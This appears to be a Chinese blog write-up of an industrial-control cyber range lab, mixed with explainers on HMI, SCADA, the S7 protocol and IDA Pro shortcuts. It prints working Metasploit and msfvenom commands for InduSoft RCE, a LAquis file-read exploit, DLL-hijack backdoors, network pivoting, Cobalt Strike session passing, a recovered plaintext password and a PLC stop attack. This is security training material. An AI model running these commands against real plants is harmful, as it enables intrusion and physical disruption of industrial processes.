资讯详情

工业控制靶场记录以及工业控制协议的简单介绍

首先,当然吃水不忘挖井的人,感谢大表哥的靶场(感谢周五实验室和乌鸦安全靶场的维护,因为csdn创作规范只能隐藏)

参考地址 参考地址

然后带上我人生导师的一句话。俗话说,学而不思则忽视,思而不学则危险;仅仅玩射击场是没有意义的,所以我总结了射击场需要学习的知识点

攻击模型图如下 在这里插入图片描述

友情提示:本文篇幅较长,请穿好纸尿裤!

0X00 这篇文章能学到什么?

  1. HMI嵌入式简介
  2. SCADA数据采集与监控系统简介
  3. S7协议的简介
  4. InduSoft Web Studio 嵌入式HMI RCE
  5. LAquis SCADA CVE-2017-6020 读取任何文件的漏洞
  6. 紫金桥工程管理器 DLL劫持漏洞
  7. 控制组态软件动态调试获取系统管理员密码
  8. S7-300 启停攻击
  9. IDA PRO 快速命令介绍
  10. MSF 如何转发流量? CS流量上线

0X01 嵌入式HMI 简介

HMI是Human Machine Interface 缩写,人机界面,也被称为人机界面。人机界面(也被称为用户界面或用户界面)是系统和用户之间交互和信息交换的媒介。事实上,我理解它的作用是以人类可以理解的方式运行和转换。所有参与人机信息交流的领域都有人机界面

换句话说,机器语言只能识别0和1,正常人类做不到。以数控机床为例。如果没有嵌入式软件进行互动,人类如何让它运行?

HMI该产品由处理器、显示单元、输入单元、通信接口、数据存储单元等硬件和软件组成。HMI产品的性能是HMI核心单元。(可理解为数控机床操作员站小电脑)

根据HMI处理器可分别选用8位、16位、32位的处理器,产品等级不同。HMI软件一般分为两部分,即运行HMI系统软件和运行在硬件中PC机Windows操作系统下的图像组态软件(如此InduSoft Web Studio组态软件)。 记得以前上学的时候学的是发那科系统和西门子系统的数控铣床和数控机床。当时我也知道嵌入式软件

0X02 InduSoft Web Studio嵌入式HMI RCE

嵌入式HMI软件-InduSoft Web Studio 介绍如下:

InduSoft Web Studio施耐德电气在法国(Schneider Electric)嵌入式公司HMI软件,软件 它是一种强大的自动化集成开发工具,为开发人机介面提供所有自动化建构模块SCADA 系统及嵌入式设备解决方案。

InduSoft 已整合 Web 该技术充分利用了互联网/内联网连接的优势。目前,该软件广泛应用于电力、能源等自动化行业。

这里有一点,一般嵌入式软件的端口号默认为4322哈

首先使用kali攻击机进行生存主机检测和端口扫描,生存检测不会,直接检测端口

nmap -v -A 192.168.50.126 -p 1-10000 

事实上,如果这是真的,我指定它是G,因为我认为这些端口没有线索,80个端口没有访问,1234和4322端口很常见,在网上搜索,也没有找到任何东西 是的,正如你所看到的,没有屁,然后偷窥周五实验室wp 嵌入式HMI软件-InduSoft Web Studio

msfconsole use exploit/windows/scada/indusoft_webstudio_exec set rhosts 192.168.50.126 run 

可见,直接拿到了system权限恰好证明了上面,嵌入式权限太高了 一个操作就像一只老虎,所以问题来了,在真正的互动链接中,如何识别这个嵌入式软件,让我们继续学习与问题

执行 ipconfig该设备有两张网卡,第二张网卡ip地址如下

查看当前路由,并添加路由表

run get_local_subnets run autoroute -s 192.168.90.0/24 

添加sock代理

bg use auxiliary/server/socks_proxy options run 

此时默认使用1080端口作为代理,需要确认本机代理

vim /etc/proxychains4.conf 

因为这里的第一个坑,kali不同的版本导致一些人proxychains.conf有些人是proxychains4.conf,请根据实际情况进行修改。如果找不到代理配置文件,说明你电脑里有两个配置文件,只需删除任何一个 返回msf,使用arp -a命令没有发现其他有用的网络 使用nmap,nmap拉稀了 使用msf扫

use auxiliary/scanner/portscan/tcp set ports 135,139,445 set rhosts 192.168.90.0/24 run 

探测生存ip 192.168.90.110 使用nmap单独探测端口,仍然拉稀 改回msf探测

use auxiliary/scanner/portscan/tcp set ports 1-10000 set rhosts 192.168.90.110  run 

首先设置浏览器sock5代理

通过访问1234端口,发现页面如下

0X03 SCADA数据采集与监控系统简介

在科研、生产和日常生活中,在测量和控制温度、压力、流量、速度、位移等模拟变量时,需要通过传感器将上述物理量转换为能够模拟物理量的电信号(即模拟电信号),并将模拟电信号转换为计算机能够识别的数字量(0/1),送入计算机,称为数据采集。

?数据采集是计算机在监控、管理和控制系统过程中获取原始数据的主要手段,也是工业互联网调度自动化的基础和核心!

SCADA应用案例简化图 SCADA主要功能如下

偷张图,别追我,看看工厂MES系统

0X04 LAquis SCADA CVE-2017-6020 读取任何文件的漏洞

LAquis SCADA 是LCDS-在工业控制系统中,开发的监控和数据采集软件可用于工业控制系统(ICS)或分布式控制系统(DCS)从数据从数据采集到应用程序开发。

当然,作为第一次接触ICS就人而言,我不知道这个东西是什么

点进去看看是什么。 因为这个漏洞msf里面没有攻击载荷,所以我们需要自己去exploit-db下载 下载地址 下载的文件是.rb最后,我们把重量命名为LAquis_cve_2017_6020,然后复制到kali的 /usr/share/metasploit-framework/modules/exploits/windows/scada/ 内

reload_all 加载所有模块,我们可以是新的payload加载进去

use exploit/windows/scada/LAquis_cve_2017_6020 options 

解读一下 DEPTH 达到基本目录的水平(即有多少个)…/),如果路径在安装过程中没有改变,默认情况下,它将向上跳转10级。如果路径漏洞使用不成功,可根据实际情况调整参数。 FILE 这是要下载的文件,以上DEPTH完整的文件路径由参数组成。 Proxies 端口[,类型:主机:端口] […]的代理链 RHOSTS 目标主机,范围CIDR标识符或语法file: 主机文件 RPORT 目标端口(TCP),默认安装软件为1234,不排除变更的可能性。 SSL 协商出站连接SSL / TLS VHOST HTTP虚拟主机服务器 在这个实验中,我们只需要修改它FILE和RHOSTS这两个参数就可以了 我们不知道file什么是文件?让我们回到第一个session,去翻垃圾箱 翻垃圾箱时,中文乱码使用 chcp 65001 之后,还是不行 读不到文件受,遇到这种情况只能另谋他路

0X05 ​MSF 流量如何转发 CS流量上线

上cs

 ./teamserver 192.168.50.53 123456 
./cobaltstrike

生成监听,此次使用msf上线cs Msf 退出后台后

bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1001
set lhost 192.168.50.53
set session 1
run

cs上线成功 需要注意的是,msf使用的payload一定要和cs的一样,是reverse_http,别写成tcp的了!!!​ 嘿嘿,浏览到了 我踏马直接下载 下载成功后,返回至cs目录,即可查阅 /root/桌面/cs4.4/downloads/ 读取文件,返回msf

use exploit/windows/scada/LAquis_cve_2017_6020 
options
set file document/information.txt
set rhosts 192.168.90.110
run

定位到该文件保存位置,更改字符编码为gbk 2312 /root/.msf4/loot/20220520054257_default_192.168.90.110_laquis.file_806257.txt 远程连接2主机(探测到第一台主机未开启3389;第二台主机开启了3389端口) 连接远程桌面 连接成功 探测ip 说到上传,我就好难过,折腾了好久,都没能通过正常手段上传上去,最后开挂,假装自己上传上去了,请大家引以为戒,kali与win xp直接交互文件是不能直接传的,大家请使用windows系统进行交互 一查,这是一个紫金桥工程管理器,然后我们查看到时6.5版本,存在dll劫持漏洞

0X06 紫金桥工程管理器DLL劫持漏洞

这里我们使用到两款工具,分别是procexp.exe以及DllInject.exe;

​此二工具是用来做dll进程分析以及进程注入的;工具网上都有,或者大家可以回复公众号,获取下载链接,请自行检测有无后门!

生成dll后门,这里使用正向连接

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > ws2help.dll

将dll文件上传至目标机器(吐个槽,其实都能上传了的话,完全可以直接传个其他后门,可能是劫持的漏洞不容易发现,而且就当漏洞复现了吧) Msf正向监听

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.90.110
run

坑来了,我按照步骤进行dll注入,但是怎么都不上线 我把ws2help.dll文件放在了两个不同的位置,依然是能注入但是不上线

查看端口状态,并没有syn等待请求,说明不是防火墙拦截,但是1003端口以及处于一个监听状态了,说明dll注入是成功的

重启xp系统之后,重新再走了一次dll劫持,这次又上线了…无语事件。所以这里是一个坑,大家如果遇到了请重启计算机,还有就是如果直接上传后门的话,连接之后只是普通用户权限

​dll劫持挖掘过程如下: win+r regedit 打开注册表 运行进程监控软件,而后运行紫金桥工程管理器,查看该进程相关dll 将这些dll与注册表内的​比较,谁不在注册表里谁就可以被当做dll注入的毒 注册表对比如下:圈出来的就可以用 将生成的ws2help.dll文件上传至紫金桥服务器,而后使用DllInject.exe加载即可达到劫持效果 (DLL注入与劫持有一定的差异,注入是启动前,劫持是启动后) 劫持成功后,观察进程以及端口状态

msf上线

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 1003
set rhost 192.168.90.110
run

好吧,其实上线了也是普通用户权限的 而后我想直接用msf转CS上线了,但是上线失败了,CS​建立监听1005端口,这里监听的ip地址变了,是因为网络环境变了,大家不要在意哈

bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1005
set lhost 192.168.50.53	
set session 3
run

但是cs并没有上线,可能是因为第二层网络他是不能直接访问的,1005端口也并没有建立监听,证明了我们的猜想 返回cs,建立正向连接 生成正向连接马 将正向连接马上传至192.168.90.110机器上运行(生成dll文件也可以,要是大家生成的exe不能执行,报0x000000007错误,就建个文件夹把马子放进去或者dll劫持上线就可以了)

返回cs选择第一个会话,而后输入命令

connect 192.168.90.110 1006 上线成功 我们返回msf session 3 添加路由表(还记得第二台主机的ipconfig吗)

run autoroute -s 192.168.95.0/24

添加sock代理

bg
use auxiliary/server/socks_proxy
options
run

存活主机扫描

use auxiliary/scanner/portscan/tcp 
set ports 135,139,445
set rhosts 192.168.95.0/24
run

若是大家出现扫描没反应,请提高线程 set threads 5

我们第二台主机读到过三个机器的密码,我们不知道第三台密码是谁的,所以就连接两次,经过测试,是192.168.95.110的

 proxychains4 rdesktop 192.168.95.110

0X07 力控组态软件动态调试获取系统管理员密码

不知道为什么,第四台主机的密码是这个。。。感觉有点牵强,难道是因为这是管理员站? 提前修改密码,因为我们需要用动态调试找到密码对应的十六进制,但是初始密码是啥谁也不知道,所以我们加上任意的字符串方便我们找对应的十六进制 废了好大的力气,终于是弄明白了ida pro的动态调试,大家一定要记住,要使用管理员打开ida pro,否则是调试不了这个进程的 调试进程 选择指定进程 我们直接按 alt+b 调出搜索,搜索十六进制对应的vlan即可 搜索成功后,双击即可 密码出来了,去掉vlan就是我们需要的密码内容 账号:tegratnluv密码:Vu1Nt@rG3t9Gg 远程连接成功

0X08 ​S7协议的简介

(S7comm) S7通信协议是西门子S7系列PLC内部集成的一种通信协议,是S7系列PLC
的精髓所在。它是一种运行在传输层之上的(会话层/表示层/应用层)、经过特殊优化的通信协议,其信息传输可以基于MPI网络、PROFIBUS网络或者以太网。

我再盗一张图哈 S7协议介绍
S7通信支持两种方式∶

1)基于客户端(Client)/服务器(Server)的单边通信;

2)基于伙伴(Partner)/伙伴(Partner)的双边通信;

客户端(Client)/服务器(Server)模式是最常用的通信方式,也称作
S7单边通信。在该模式中,只需要在客户端一侧进行配置和编程;服务器一侧只需要准备好需要被访问的数据,不需要任何编程(服务器的"服务"功能是硬件提供的,不需要用户软件的任何设置)

客户端client

客户端是在S7通信中的一个角色,它是资源的索取者; 而服务器则是资源的提供者。 服务器(Server)通常是S7-PLC的CPU,它的资源就是其内部的变量/数据等。客户端通过S7通信协议,对服务器的数据进行读取或写入的操作。

常见的客户端包括∶人机界面(HMI)、编程电脑(PG/PC)等。当两台S7-PLC进行S7通信时,可以把一台设置为客户端,另一台设置为服务器。 很多基于S7通信的软件都是在扮演者客户端的角色。比如OPC Server,虽然它的名字中有Server。但在S7通信中,它其实是客户端的角色。 客户端/服务器模式的数据流动是单向的。也就是说,只有客户端能操作服务器的数据,而服务器不能对客户端的数据进行操作。

0X09 S7-300 启停攻击

先上线再说

 msfvenom -p windows/meterpreter/bind_tcp LPORT=1007 -f exe > 1007.exe

将后门直接上传至192.168.95.100而后执行即可

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set lport 1007
set rhost 192.168.95.110
run

查看全部网络并添加路由表

arp -a
run post/multi/manage/autoroute

通过client端(192.168.95.100)端可以看到,S7的服务端正在运行,我们的目的就是要把下位机打停机 其实我觉得可以直接stop

这里我们使用ISF来进行攻击,已知这时S7-300的模拟器,(不,我不知道)ISF中存在这一型号的利用模块可以直接利用,ISF的工程项目: https://github.com/dark-lbp/isf 然后就是,环境编译失败,python脚本怎么也跑不起来 下了一个exploits也没行,拉倒吧

被打停了,达到了启停目的 盗的俩图

0X10 IDA PRO 快捷方式

N:重命名地址符号
U:代码转换为数据
C:数据到代码
;/:加注释
G:跳转到指定位置
ESC/CTRL+ENTER:导航后退/前进
D:对数据db/dw/dd之间进行切换
ALT+T:string search
ALT+B: binary search
A:将选择的范围转化为字符串

View --> OpenSubviews -->  Local Types-->INSERT,插入一个已存在的结构体
FILE-->LOAD FILE-->Parse C Header File 从头文件中导入结构体


INSERT:插入一个结构体,或者从local types中导入standard
D:插入一个结构体成员,并切换它们的字节类型
U-->Edit-->shrink struct type:删除一个结构体成员
Edit-->Expand struct type:在中间增加一个结构体成员
U:在结构体ENDS一行,可删除最后一个结构体成员

对偏移右键-->struct offset:应用新建的结构体
选择stack frame起始地址-->edit-->struct var:应用新建的结构体

(数组:a + index * sizeof (a[0]))
(结构体:a + offset)
(结构体数组:a +index*sizeof(a[0]) +offset)

X:在光标所在地址,弹出cross reference对话框,列出所有引用它的地点,不一定是目标地

View -->Open Subviews -->Function Calls:所有调用当前地址的函数,和子窗口中该函数调用的所有函数
View -->Open Subviews -->Cross-References:必须是cross view的目标地,即该引用的本身


F12:将光标放在一个函数里,按F12,得到该函数的流程图
CTRL+F12:函数调用关系图

View -->Graphs -->Xrefs To:引用该符号的函数图
View -->Graphs -->Xrefs From:该符号引用的函数图

F5:HEXRAYS反C插件,直接看C代码

标签: pc5n位移传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台